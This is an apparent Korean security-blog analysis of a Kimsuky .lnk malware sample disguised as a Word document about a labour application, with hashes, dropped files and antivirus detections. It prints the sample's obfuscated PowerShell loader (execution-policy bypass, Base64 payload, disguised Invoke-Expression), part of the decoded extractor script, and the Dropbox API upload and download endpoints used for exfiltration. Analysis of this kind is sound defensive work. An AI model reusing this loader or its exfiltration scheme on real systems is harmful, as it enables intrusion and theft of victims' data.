꿈을꾸는 파랑새

오늘은 북한 해킹 단체 김수키(Kimsuky)에서 만든 악성코드인 강연의뢰서_근로신청서 관련의 건. docx.lnk(2024.7.9)에 대해 글을 적어 보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 대상 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체입니다.
뭐~전 세계적으로 유명하니까? 해당 설명은 건너 띄고 해당 악성코드는 근로신청서 관련의 건으로 위장하는 악성코드이며 그냥 보면 워드 파일인 것처럼 보이지만 아이콘을 잘 보면 링크 파일인 것을 확인할 수가 있습니다.
해쉬값
파일명: 근로신청서 관련의 건.docx.lnk
사이즈:17.1 KB
MD5:21d12dc7f08752293847af6ed19df0e3
SHA-1:5074647737b8b996b597c1719b571ccf423a110c
SHA-256:e7e73a5133cd61c077f85c44e9efeb8c24af9f1bfc140be4a2a59fdf33693d0d

악성코드에 포함된 PowerShell 코드
악성코드에 포함된 PowerShell 코드

PowerShell 코드

StringData
{
    namestring: not present
    relativepath: not present
    workingdir: not present
    commandlinearguments: /c set s=posuiheih(c)ksuehhfhell (&) cal(l) %s:suih(e)ihcksuehhf=w
    ers% -ep bypass -c $cbaeiufhixdjf='cboauyusgeifu7ih983fef'; $ol=0x00001054;$tl=0x000044
    8a;$mviubse='UsIC(R)pKzYpOyRmaT0xMDs(g)ICAgICAgICBmb3IoW2ludF0kc(D00kaSskZmk7ICRwIC1sdC
    A(o)JGkgKyAkZmkgKyRk(d)1BhdGhMZW4gKyAkZHdEYXRhT(G)VuKTsgJHArKyl7ICRmaWxlW(y)RwXSA9ICRmaW
    xlWyRwXSAtYnhvciA(k)Ylhvcn07W2J5dGVbXV0kcGF0aE(h)leCA9ICRmaWxlWygkaSskZmkpL(i)4oJGkrJGZ
    pKyRkd1BhdGhMZW4tM(S)ldOyRwYXRoID0gW1N5c3RlbS5UZXh0Lk(V)uY29kaW5nXTo6QVNDSUkuR2V0U3RyaW
    5nKCRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMildKTsgc2MgJHBhdGggKFtieXRlW11dKCRm
    aWxlIHwgc2VsZWN0IC1Ta2lwI(C)gka(S)skZmkrJGR3UGF0aExlbikgfCBzZWxlY3QgL(V)NraXBMYXN0ICgk
    ZmlsZVNpem(U)tJGktJGZpLSRkd(1)BhdGhMZW4tJGR3RGF0YUxlbi(k)pKSAtRW5jb2RpbmcgQnl0ZTtpZ(i)
    gkYlJ1bil7JiRwYXRoO30kaT0kaSskZmk(r)JGR3UGF0aExlbiskZHdEYXRhTGVuO30='; $isncuhef='7ujh
    3e8uyh(g)soikjdfsefsef'; $a='JGxua3BhdGggPSBHZXQt(Q)2hpbGRJdGVtICoubG5rIH(w)gd2hlcmUtb
    2JqZWN0IHskXy(5)sZW5ndGggLWVxICR0bH0gfCBT(Z)WxlY3QtT2JqZWN0IC1FeHB(h)bmRQcm9wZXJ0eSBOY
    W1lOyBpZigkb(G)5rcGF0aC5jb3VudCAtZXEgMCl7JGxua3(B)hdGggPSBHZXQtQ2hpbGRJdGVtICRl(b)nY6V
    EVNUFwqXCoubG5rIHwgd2hlcm(U)tb2JqZWN0IHskXy5sZW5(n)dGggLWVxICR0bH07fTskZ(m)lsZSA9IGdjI
    CRsbmtwYXRoIC1FbmNvZGl(u)ZyBCeXRlOyAkZmlsZVNpemUg(P)SAkZmlsZS5jb3VudDskaT0(k)b2w7ICAgI
    CAgICAgICAgICAgI(C)AgIC(A)gICAgICAgICAgICAgICAg(I)CAgICAgICAgICAgICAgd2hpbGUoJGkgLW(x)
    0ICRmaWxlU2l6ZSl7JGJ(Y)b3I9JGZpbGVbJGldO(y)RiUnVuPSRmaWxlWyRpKzFdO(y)Rkd1BhdGhMZW(4)9W
    2JpdGNvbnZlcnRlcl06OlR(v)SW50MzIoJGZpbGUsICRp(K)zIpOyRkd0RhdGFMZW4(9)W2JpdGNvbnZlcnRlc
    l(0)6OlRvSW50MzIoJGZpbG';$euhks(j)bdibiwybfkj(s)nsfefcv = [Convert]::FromB(a)se6(4)Str
    ing($a+$mviubse);$isuhef = -(j)oin ($euhksjbdibiw(y)bfkjsnsfefcv -as [ch(a)r[]]); .('{
    0}{3}{1}{4}{2}'-f 'Inv','ke
	(-)Exp(r)e','n','o','ss(i)o') $(i)suhef;
    iconlocation: (.)docx
}

 

악성 PowerShell 코드 분석

Programdata 에 생성한 악성코드 파일
Programdata 에 생성한 악성코드 파일

Base64 인코딩 된 문자열을 디코딩하여 실행 명령어를 사용하는 것을 볼 수 있습니다.
1. 명령 줄 인수 설정
명령 프롬프터에서 실행할 명령어를 설정하는 부분이며 s 변수에 p(o)suiheihcksuehhfhell 문자열을 설정하고 s에서 suiheihcksu(e)hhf를 w(e)ars로 바꾸어 호출
2. Base64 디코딩 및 스크립트 실행:
$mviubse 와 $a 의 문자열을 합쳐서 Base64 디코딩을 진행 그런 다음 디코딩된 문자열을 문자 배열로 변환하여 다시 문자열로 결합하고 나서 결합한 문자열을 실행하게 돼 있습니다.
Base64 인코딩 된 데이터를 디코딩하여 실행하는 방법은 일반적으로 악성코드가 탐지를 피하고자 사용하는 기술 중 하나임
그리고 JGk~~ 시작하는 부분을 Base64로 풀며 다음과 같은 결과를 확인할 수가 있습니다.
$lnkpath = Get-ChildIt(e)m *(.)lnk | where-o(b)ject {$_.length -eq $tl} | Sel(e)ct-O(b)ject -Expand(P)roperty Name; if($lnkpath(.)count -eq 0){$lnk(p)ath = Get-ChildItem $env:(T)EMP\*\*(.)lnk | where-object {$_.leng(t)h -(e)q $tl};};$file = gc $lnkpath -Encod(i)ng Byte; $fileSize = $file.count;$i=$(o)l;  while($i -lt $fileSize){$bX(o)r=$f(i)le[$i];$bRun=$file[$i+1](;)$)dwP(a)thLen=[bitconverter]::ToInt32($file, $i+2);$dwDataLen=[bitco(n)verter]::ToIn(t)32($fil

CyberChef 로 Base 64 변환
CyberChef 로 Base 64 변환

코드 설명

(.)lnk (Windows 바로 가기) 파일을 검색하고 처리하는 스크립트의 일부
1.lnk 파일 검색:
현재 디렉터리에서 (.)lnk 파일을 찾기
파일의 길이(length)가 $tl 변수와 같은 파일을 필터링
해당 파일의 이름만 선택하여 $lnkp(a)th 변수에 저장
2. 백업 검색 경로:
만약 첫 번째 검색에서. lnk 파일을 찾지 못하였으면 $env(:)TEMP 디렉터리(임시 디렉터리)에서 다시 검색
파일의 길이(length)가 $tl 변수와 같은 파일을 필터링
백업 경로에서 다시 검색하여 $l(n)kpath 변수에 저장
3. 파일 읽기 및 초기화
$lnk(p)ath에 저장된 파일을 바이트 단위로 읽어 들여 $file 변수에 저장
파일의 크기를 $f(i)leSize 변수에 저장
while 루프에서 사용할 인덱스 변수 $i를 $ol로 초기화
4. 루프 및 데이터 처리:
파일의 끝($fileS(i)ze)에 도달할 때까지 반복하는 while 루프
$(f)ile 배열에서 바이트 단위 데이터를 읽어 변수에 저장
$bXor 는 현재 인덱스의 바이트 값
$bRun 은 다음 인덱스의 바이트 값
[bitcon(v)erter]::To(I)nt32는 바이트 배열을 정수로 변환하는 데 사용
$dwPath(L)en 은 $(i)+2부터 시작하는 4바이트를 정수로 변환한 값
$dwDa(t)aLen 은 $(i)+6부터 시작하는 4바이트를 정수로 변환한 값
해당 루프의 나머지 코드는 생략되어 있지만 일반적으로 파일의 데이터를 처리하고 변환하는 작업을 수행
실행이 되면 각각 다음과 같은 vbs 가 파일 생기는 것을 확인을 할 수가 있습니다.

Programdata 에 생성한 악성코드 파일
Programdata 에 생성한 악성코드 파일

C:\programdata\d5602(.)vbs 
C:\programdata\s2504(.)vbs
각각 13468.tmp,68013.tmp,13468.tmp,68013.tmp 파일 등을 생성하는 것을 확인할 수가 있습니다.
tmp 파일들은 다음과 같은 방식으로 실행됩니다.
wscript.exe //b //e:vbscript C:\\Programdata\\13468.tmp
그리고 네트워크의 네트워크 어댑터의 속성에 구성 요소로 인터넷 프로토콜 (TCP/IP) 프로토콜을 설치하는 경우에 사용하기 위해서 hostname을 이용을 하는 것을 확인할 수가 있습니다.

악성코드 실행 Doc 문서 오류
악성코드 실행 Doc 문서 오류

업로드 및 다운로드에 이용되는 사이트

hxxps://content(.)dropboxapi(.)com/2/files/upload
hxxps://content(.)dropboxapi(.)com/2/files/download

d5602.vbs 코드
d5602.vbs 코드

2024-07-11 12:50:43 UTC 기준 바이러스토털에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic.SC201105
AliCloud:Trojan:Win/Agent.gyf
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Trojan.Generic.D4607B70
Avast:LNK:Agent-EW [Trj]
AVG:LNK:Agent-EW [Trj]
BitDefender:Trojan.GenericKD.73431920
Emsisoft:Trojan.GenericKD.73431920 (B)
eScan:Trojan.GenericKD.73431920
GData:Trojan.GenericKD.73431920
Kaspersky:HEUR:Trojan.WinLNK.Agent.gen
Kingsoft:Script.Troj.CMDLnk.22143
Skyhigh (SWG):Artemis!21D12DC7F087
Symantec:CL.Downloader!gen204
Trellix (ENS):Artemis!21D12DC7F087
Trellix (HX):Trojan.GenericKD.73431920
TrendMicro:TROJ_FRS.VSNTGA24
TrendMicro-HouseCall:TROJ_FRS.VSNTGA24
VBA32:Trojan.Link.ShellCmd
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Agent.gen
해당 악성코드 워드 문서를 생성하는 것이 아니고 단순하게 해당 컴퓨터의 정보를 훔치기 위한 작업을 하려고 가짜 워드를 미끼로 사용하는 것 같고 그리고 제목이 근로신청서 관련의 건 이것을 보면 회사, 사업장, 개인들을 타깃으로 하는 악성코드가 아닐까 생각이 됩니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band